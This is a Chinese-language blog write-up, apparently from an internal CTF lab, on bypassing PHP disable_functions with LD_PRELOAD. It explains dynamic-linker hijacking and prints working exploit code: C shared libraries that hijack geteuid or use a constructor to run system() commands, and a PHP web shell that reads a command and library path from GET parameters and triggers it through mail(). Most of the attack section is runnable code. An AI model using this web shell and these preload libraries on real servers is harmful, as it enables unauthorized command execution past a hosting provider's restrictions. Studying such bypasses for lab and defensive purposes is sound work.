php bypass disable_function 篇一

前言

之前遇到bypass_disablefunc 都是直接用蚁剑来打的。没有深入到利用里面,这次恰好遇到内部靶场babytrick这道题,不能简单的利用蚁剑来进行bypass,而是需要在对LD_PRELOAD 理解的基础上对已有脚本bypass_disablefunc.cbypass_disablefunc.php进行修改,这篇文章参考网上博客和deepseek,重新梳理一下。

LD_PRELOAD

LD_PRELOAD是LINUX系统的一个环境变量,默认情况下的值为空,在 Linux 中,动态链接器(如 ld-linux.so)负责在程序运行时加载所需的库。通常情况下,链接器会按照预定义的路径搜索库文件。如果你设置了 LD_PRELOAD,链接器会首先加载该变量中指定的库。如果预加载的库中包含与后续库(如 libc.so同名的函数,程序将优先使用预加载库中的版本。

可以复现个demo感受下劫持:

id.c:

1
2
3
4
5
6
7
#include <dlfcn.h>
#include <unistd.h>
#include <sys/types.h>

uid_t geteuid( void ) { return 0; }
uid_t getuid( void ) { return 0; }
uid_t getgid( void ) { return 0; }

gcc -shared -o id.so id.c , 将id.c文件编译成id.so

接着export=./id.so 现在在执行id,可以发现变成root的了。

ld_preload1

我们 ldd /usr/bin/id 可以发现id.solibc.so 等其他库前面被加载:

ld_preload2

同名函数劫持

可以看到我们上面编译的id.c 里面用到了getuid函数,而本身/usr/bin/id命令对应的C程序里面main函数也调用了getuid函数。那么问题来了,为什么一定得保证同名呢?我们来看几张图:

动态链接器的工作原理:

ld_preload3

利用条件

当我们进行同名函数劫持时,需要满足以下几个条件:

1.putenv未被禁用

2.有目录可以写文件

3.有可利用的函数,比如mail、error_log等,并且还要找到可利用的同名函数。

具体利用

这里以mail函数为例,php的mail函数本质上是会调用linux的sendmail函数,我们可以readelf -Ws /usr/sbin/sendmail 来看一下sendmail有哪些函数:

ld_preload5

所以这里我们可以选择geteuid来劫持,要保持写的同名函数返回类型和参数类型及数量和原函数一致,test.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload()
{
system("ls");
}
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

编译成.so 文件:

1
2
gcc -c -fPIC test.c -o test
gcc --share test -o test.so

接着编写php文件:

1
2
3
4
<?php
putenv("LD_PRELOAD=./test.so");
mail("","","","");
?>

.so文件和.php文件进行上传,访问php文件,可以发现执行了 ls命令。

无需同名函数劫持

按照上面同名函数劫持的情况,我们linux系统本身是得装了sendmail这个函数的,那如果没有装呢?是不是就利用不了了,对此有个更通用的解决方式:

1
2
3
4
__attribute__可以设置函数属性(Function Attribute)、变量属性(Variable Attribute)和类型属性(Type Attribute)。__attribute__前后都有两个下划线,并且后面会紧跟一对原括弧,括弧里面是相应的__attribute__参数

__attribute__语法格式为:__attribute__ ( ( attribute-list ) )
若函数被设定为constructor属性,则该函数会在main()函数执行之前被自动的执行。类似的,若函数被设定为destructor属性,则该函数会在main()函数执行之后或者exit()被调用后被自动的执行。

主要是这句话:若函数被设定为constructor属性,则该函数会在main()函数执行之前被自动的执行

于是有了大佬的脚本:

bypass_disablefunc.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");

// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}

// executive command
system(cmdline);
}

bypass_disfunc.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>

根据实际情况的不同,这里mail函数要做相应的替换,这里可以看内部靶场1229-1011的babytrick那个例子。

1
2
3
mail("","","","");  //依赖sendmail
error_log("", 1, "");//依赖sendmail
@gnupg_import(gnupg_init(), "dummy");//